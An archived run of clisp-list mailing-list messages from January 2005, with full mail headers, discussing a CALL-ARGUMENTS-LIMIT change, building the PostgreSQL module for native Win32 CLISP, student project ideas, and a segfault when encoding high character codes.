(SMSSMTP 4.0.4.64) with SMTP id M2005012009354810974 for ; Thu, 20 Jan 2005 09:35:48 +0100 Received: from morante.itc.it. (morante [10.40.0.127]) by orchestra.itc.it (8.12.11/8.12.11) with ESMTP id j0K8ZmKC030781 for ; Thu, 20 Jan 2005 09:35:48 +0100 Received: (from caprile@localhost) by morante.itc.it. (8.11.6/8.11.2) id j0K8Zm826569 for clisp-list@lists.sourceforge.net; Thu, 20 Jan 2005 09:35:48 +0100 From: Bruno Caprile To: clisp-list@lists.sourceforge.net Message-ID: <20050120093548.A26557@morante.itc.it> References: <20050119151156.A25986@morante.itc.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from sds@gnu.org on Wed, Jan 19, 2005 at 12:14:10PM -0500 X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: camera.org] -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug report: too many arguments to + Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 20 00:36:16 2005 X-Original-Date: Thu, 20 Jan 2005 09:35:48 +0100 thanks to everybody! in fact, it was my fault not to check that the value of CALL-ARGUMENTS-LIMIT had dropped from 2^32 (of 2.27) to 2^12 (version 2.32.2). thanks again. bruno On Wed, Jan 19, 2005 at 12:14:10PM -0500, Sam Steingold wrote: > > * Bruno Caprile [2005-01-19 15:11:56 +0100]: > > > > clisp version 2.33.2 appears to show a problem when you try to add > > more than 4095 numbers (e.g., integers) as in > > > > (progn > > > > (setq l nil) > > > > (dotimes (i 4096) > > (push i l)) > > > > (apply #'+ l) > > > > ) > > CALL-ARGUMENTS-LIMIT > > > ANSI CL requires that CLISP guarantees that it will always accept this > many arguments. No guarantee could have been made for the previous > value. > > if you are hitting this limit, it means that you want to use REDUCE. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Programming is like sex: one mistake and you have to support it for a lifetime. From kavenchuk@jenty.by Wed Jan 19 23:23:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CrWfC-0004Wb-JM for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 23:23:30 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CrWfB-0000KG-04 for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 23:23:30 -0800 Received: from STNT067 ([150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id DDXY9VQW; Thu, 20 Jan 2005 09:25:45 +0200 Message-ID: <000901c4fec1$00aae700$c8000096@stnt067> From: "Yaroslav Kavenchuk" To: MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1409 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] module postgresql for native win32 clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 20 06:21:28 2005 X-Original-Date: Thu, 20 Jan 2005 09:23:50 +0200 Excuse my bad English. Postgresql 8.0 out. Is planned ported the module postgresql in the version clisp for win32? -- WBR, Yaroslav Kavenchuk From sds@gnu.org Thu Jan 20 06:37:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CrdQi-0001Ql-9z for clisp-list@lists.sourceforge.net; Thu, 20 Jan 2005 06:37:00 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CrdQg-0006ma-Om for clisp-list@lists.sourceforge.net; Thu, 20 Jan 2005 06:37:00 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id j0KEadDu006075; Thu, 20 Jan 2005 09:36:42 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Yaroslav Kavenchuk" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <000901c4fec1$00aae700$c8000096@stnt067> (Yaroslav Kavenchuk's message of "Thu, 20 Jan 2005 09:23:50 +0200") References: <000901c4fec1$00aae700$c8000096@stnt067> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Yaroslav Kavenchuk" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: camera.org] -0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: module postgresql for native win32 clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 20 06:37:21 2005 X-Original-Date: Thu, 20 Jan 2005 09:36:38 -0500 > * Yaroslav Kavenchuk [2005-01-20 09:23:50 +0200]: > > Excuse my bad English. > > Postgresql 8.0 out. > Is planned ported the module postgresql in the version clisp for win32? as far as I know, it might work OOTB. did you try it? -- Sam Steingold (http://www.podval.org/~sds) running w2k A professor is someone who talks in someone else's sleep. From vishalghadge@yahoo.com Thu Jan 20 20:07:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Crq51-0004TN-PG for clisp-list@lists.sourceforge.net; Thu, 20 Jan 2005 20:07:27 -0800 Received: from web21004.mail.yahoo.com ([216.136.227.58]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1Crq4z-0000HF-FX for clisp-list@lists.sourceforge.net; Thu, 20 Jan 2005 20:07:27 -0800 Received: (qmail 80385 invoked by uid 60001); 21 Jan 2005 04:07:25 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=dz9qvtm4ONpFksYkyhXrbSusZX/PiUtjU/swuJpbKFQcrnW6eQ4XopD0YcrKc33u2HVWJmJpI5WMLPsfO+p6j1KpEV270POtlK+1tnoKba72jNs9HVdkvIWCsUiBzRlbhcdf3iOTCImk52k70cj9gK1FkL23fQtSy8EtXgpWVxw= ; Message-ID: <20050121040725.80383.qmail@web21004.mail.yahoo.com> Received: from [219.65.92.185] by web21004.mail.yahoo.com via HTTP; Thu, 20 Jan 2005 20:07:24 PST From: vishal ghadge To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] forward me good project idea Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 20 20:08:32 2005 X-Original-Date: Thu, 20 Jan 2005 20:07:24 -0800 (PST) hello, i m vishal G. Ghadge, I am doing MCA under PUNE Univ, i want do project in clisp, can anybody forward me good project idea. NOTE: project should be big enough to submit for 500 marks. thanks vishal __________________________________ Do you Yahoo!? The all-new My Yahoo! - What will yours do? http://my.yahoo.com From kavenchuk@jenty.by Fri Jan 21 05:08:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CryWJ-0003Ar-AY for clisp-list@lists.sourceforge.net; Fri, 21 Jan 2005 05:08:11 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CryWH-0006lz-Jz for clisp-list@lists.sourceforge.net; Fri, 21 Jan 2005 05:08:11 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id DDXY9X8F; Fri, 21 Jan 2005 15:10:33 +0200 Message-ID: <41F0FEF3.50301@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.4) Gecko/20040926 X-Accept-Language: ru-ru, ru MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <000901c4fec1$00aae700$c8000096@stnt067> In-Reply-To: X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: module postgresql for native win32 clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 21 05:09:05 2005 X-Original-Date: Fri, 21 Jan 2005 15:09:07 +0200 Sam Steingold: >> Excuse my bad English. >> >> Postgresql 8.0 out. Is planned ported the module postgresql in the >> version clisp for win32? > > > as far as I know, it might work OOTB. > did you try it? Yep!!! But... some questions: I have copied files postgresq from include\* and lib\* in c:\cygwin\... It can be made more nice? After build clisp with postgresql module $ ./configure --silent --with-module=syscalls --with-module=regexp --with-module=dirkey --with-mingw \ --with-module=postgresql --build build-win32-pg and remove cygwin\bin from PATH I get: ...library DLL cygcrypt-0.dll not found... -- WBR, Yaroslav Kavenchuk From rurban@x-ray.at Fri Jan 21 06:31:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Crzoe-0007g7-Vs for clisp-list@lists.sourceforge.net; Fri, 21 Jan 2005 06:31:12 -0800 Received: from smartmx-04.inode.at ([213.229.60.36]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1Crzoc-00007y-JT for clisp-list@lists.sourceforge.net; Fri, 21 Jan 2005 06:31:13 -0800 Received: from [62.99.252.218] (port=63737 helo=[192.168.0.2]) by smartmx-04.inode.at with esmtp (Exim 4.34) id 1CrzoZ-0004sa-3w; Fri, 21 Jan 2005 15:31:07 +0100 Message-ID: <41F11227.2000307@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7) Gecko/20040616 X-Accept-Language: de, en MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: module postgresql for native win32 clisp? References: <000901c4fec1$00aae700$c8000096@stnt067> <41F0FEF3.50301@jenty.by> In-Reply-To: <41F0FEF3.50301@jenty.by> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 21 06:32:05 2005 X-Original-Date: Fri, 21 Jan 2005 15:31:03 +0100 Yaroslav Kavenchuk schrieb: > I have copied files postgresq from include\* and lib\* in c:\cygwin\... > It can be made more nice? wrong: /usr/include/postgres_ext.h is ok /usr/include/libpq-fe.h is ok just some internal includes are in /usr/include/postgresql/server (not needed) The libs are in /lib, just some libexec dll's are in /lib/postgresql > After build clisp with postgresql module > > $ ./configure --silent --with-module=syscalls --with-module=regexp > --with-module=dirkey --with-mingw \ > --with-module=postgresql --build build-win32-pg > > and remove cygwin\bin from PATH I get: > ...library DLL cygcrypt-0.dll not found... So you shouldn't remove cygwin\bin from your PATH. How you do you want to run a cygwin app without a PATH? and you need the openssl package. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From kavenchuk@jenty.by Fri Jan 21 06:40:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CrzxZ-0008Bu-S6 for clisp-list@lists.sourceforge.net; Fri, 21 Jan 2005 06:40:25 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CrzxY-0000Zz-Di for clisp-list@lists.sourceforge.net; Fri, 21 Jan 2005 06:40:26 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id DDXY9YCV; Fri, 21 Jan 2005 16:42:41 +0200 Message-ID: <41F11490.9060605@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Reini Urban CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: module postgresql for native win32 clisp? References: <41F11227.2000307@x-ray.at> In-Reply-To: <41F11227.2000307@x-ray.at> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 21 06:41:15 2005 X-Original-Date: Fri, 21 Jan 2005 16:41:20 +0200 Reini Urban: > wrong: > /usr/include/postgres_ext.h is ok > /usr/include/libpq-fe.h is ok > just some internal includes are in /usr/include/postgresql/server > (not needed) > Thanks > > After build clisp with postgresql module > > > > $ ./configure --silent --with-module=syscalls --with-module=regexp > > --with-module=dirkey --with-mingw \ > > --with-module=postgresql --build build-win32-pg > > > > and remove cygwin\bin from PATH I get: > > ...library DLL cygcrypt-0.dll not found... > > So you shouldn't remove cygwin\bin from your PATH. > How you do you want to run a cygwin app without a PATH? > --with-mingw - I want native win32 version clisp with postgresql module. -- WBR, Yaroslav Kavenchuk From lin8080@freenet.de Sun Jan 23 09:38:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CslhM-0008JL-Oy for clisp-list@lists.sourceforge.net; Sun, 23 Jan 2005 09:38:52 -0800 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1CslhL-0002sg-1j for clisp-list@lists.sourceforge.net; Sun, 23 Jan 2005 09:38:52 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout2.freenet.de with esmtpa (Exim 4.43) id 1CslhH-0006CC-KS for clisp-list@lists.sourceforge.net; Sun, 23 Jan 2005 18:38:47 +0100 Received: from d6b5b.d.pppool.de ([80.184.107.91] helo=freenet.de) by mx1.freenet.de with esmtpsa (ID lin8080@freenet.de) (SSLv3:EXP1024-RC4-SHA:128) (Exim 4.43 #13) id 1CslhG-0000x9-Ae for clisp-list@lists.sourceforge.net; Sun, 23 Jan 2005 18:38:47 +0100 Message-ID: <41F3D58F.1D734CB3@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] forward me good project idea References: <20050121040725.80383.qmail@web21004.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 23 09:39:10 2005 X-Original-Date: Sun, 23 Jan 2005 17:49:19 +0100 vishal ghadge schrieb: > hello, > i m vishal G. Ghadge, I am doing MCA under PUNE Univ, > i want do project in clisp, > can anybody forward me good project idea. Ahja. What about: -(arc int-X1 int-Y1 int-X2 int-Y2 int-X3 int-Y3 int-X4 int-Y4) arc draws an arc -(bitmap int-X int-Y str [int-W int-H]) bitmap draws a bitmap -(check-mouse-button) check-mouse-button returns the state of the mouse buttons and shift/ctrl keys -(chord int-X1 int-Y1 int-X2 int-Y2 int-X3 int-Y3 int-X4 int-Y4) chord draws a chord shape -(client-to-screen) client-to-screen translates client area coordinates to screen coordinates -(fill int-X int-Y int-color) fill fills an area -(get-client-rect) get-client-rect returns the coordinates of a windows client area -(get-mouse-x) (get-mouse-y) get-mouse-x, get-mouse-y return the x and y coordinates of the mouse cursor -(icon int-X int-Y str-file int-N) icon draws an icon -(invert int-X1 int-Y1 int-X2 int-Y2) invert inverts a area -(line int-X1 int-Y1 int-X2 int-Y2 [...]) line draws a line -(mouse-move-event [event-handler]) mouse-move-event window independent event 'show-mouse-status -(rectangle int-X1 int-Y1 int-X2 int-Y2) rectangle draws a rectangle -(row-column [int-row int-column]) row-column text position -(return-mouse-window) return-mouse-window returns the symbol of the current window under the mouse cursor -(set-rasterop int) set-rasterop set screen wide and high koordinates -(system-metrics int-sys-param) system-metrics returns windows system parameters -(text intX intY str [int-color] [int-mode]) text draws text -(text-font [str-font int-size [int-color]]) text-font sets the font for text and the controls default font -(text-font [str-font int-size [int-color]]) text-font sets the font for text and the controls default font mouse- on-close on-got-focus on-key on-lost-focus on-mouse-dblclk on-mouse-down on-mouse-up on-mouse-move on-move Multi media interface () -oh can be something bigger Of course. This is only an example. Some will say this is not neccessary, some will say better do some high-level-stuff, some will say ... So do what you can do best, hm? stefan From pjb@informatimago.com Sun Jan 23 13:49:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cspbp-0000M5-3u for clisp-list@lists.sourceforge.net; Sun, 23 Jan 2005 13:49:25 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cspbm-0007ju-Eo for clisp-list@lists.sourceforge.net; Sun, 23 Jan 2005 13:49:25 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5910A58719; Sun, 23 Jan 2005 22:49:11 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 86DEC4FFA; Sun, 23 Jan 2005 22:49:10 +0100 (CET) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20050123214910.86DEC4FFA@thalassa.informatimago.com> X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] charset upper range --> segfault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 23 13:50:07 2005 X-Original-Date: Sun, 23 Jan 2005 22:49:10 +0100 (CET) With something like: (dolist (e (list-external-symbols :charset)) (print e) (print (map 'vector (function char-code) (SYSTEM::GET-CHARSET-RANGE (symbol-value e))))) I get the ranges of character codes that seem to belong to a given charset. However, it seems that some charset-range contain a last range above 900,000 in which taking the CODE-CHAR results in a segfault. Are these ranges really valid? (I guess yes, given they're still <2^21). Then why: # #(0 160 171 171 187 187 1329 1366 1370 1374 1377 1415 1417 1418 8212 8212 8230 8230 917504 917631) (list (lisp-implementation-version) (machine-type)) --> ("2.33.2 (2004-06-02) (built 3311798773) (memory 3311799118)" "I686") (with-open-file (test (make-pathname :case :common :name "ARMSCII-8" :type "DOS") :direction :output :if-exists :supersede :if-does-not-exist :create :external-format (ext:make-encoding :charset charset:armscii-8 :line-terminator :dos)) (format test "~C~%" (code-char 917504))) --> Segmentation fault -- __Pascal Bourguignon__ http://www.informatimago.com/ From sds@gnu.org Sun Jan 23 14:22:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Csq7x-0001jW-O5 for clisp-list@lists.sourceforge.net; Sun, 23 Jan 2005 14:22:37 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.60]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Csq7v-0002IR-6d for clisp-list@lists.sourceforge.net; Sun, 23 Jan 2005 14:22:37 -0800 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.94] helo=WINSTEINGOLDLAP) by smtp01.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1Csq7u-0003CP-00; Sun, 23 Jan 2005 17:22:34 -0500 To: clisp-list@lists.sourceforge.net, vishal ghadge Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050121040725.80383.qmail@web21004.mail.yahoo.com> (vishal ghadge's message of "Thu, 20 Jan 2005 20:07:24 -0800 (PST)") References: <20050121040725.80383.qmail@web21004.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, vishal ghadge Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: forward me good project idea Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 23 14:23:05 2005 X-Original-Date: Sun, 23 Jan 2005 17:22:35 -0500 > * vishal ghadge [2005-01-20 20:07:24 -0800]: > > i m vishal G. Ghadge, I am doing MCA under PUNE Univ, > i want do project in clisp, > can anybody forward me good project idea. -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not worry about which side your bread is buttered on: you eat BOTH sides. From damir@x-si.org Mon Jan 24 07:47:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ct6RP-0002kE-Kk for clisp-list@lists.sourceforge.net; Mon, 24 Jan 2005 07:47:47 -0800 Received: from mail.x-si.org ([217.72.76.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Ct6RO-0003Pm-2i for clisp-list@lists.sourceforge.net; Mon, 24 Jan 2005 07:47:47 -0800 Received: by mail.x-si.org (Postfix, from userid 1000) id ADD2323A88; Mon, 24 Jan 2005 15:07:23 +0100 (CET) From: Damir Horvat To: clisp-list@lists.sourceforge.net Message-ID: <20050124140722.GA15072@mail.x-si.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii 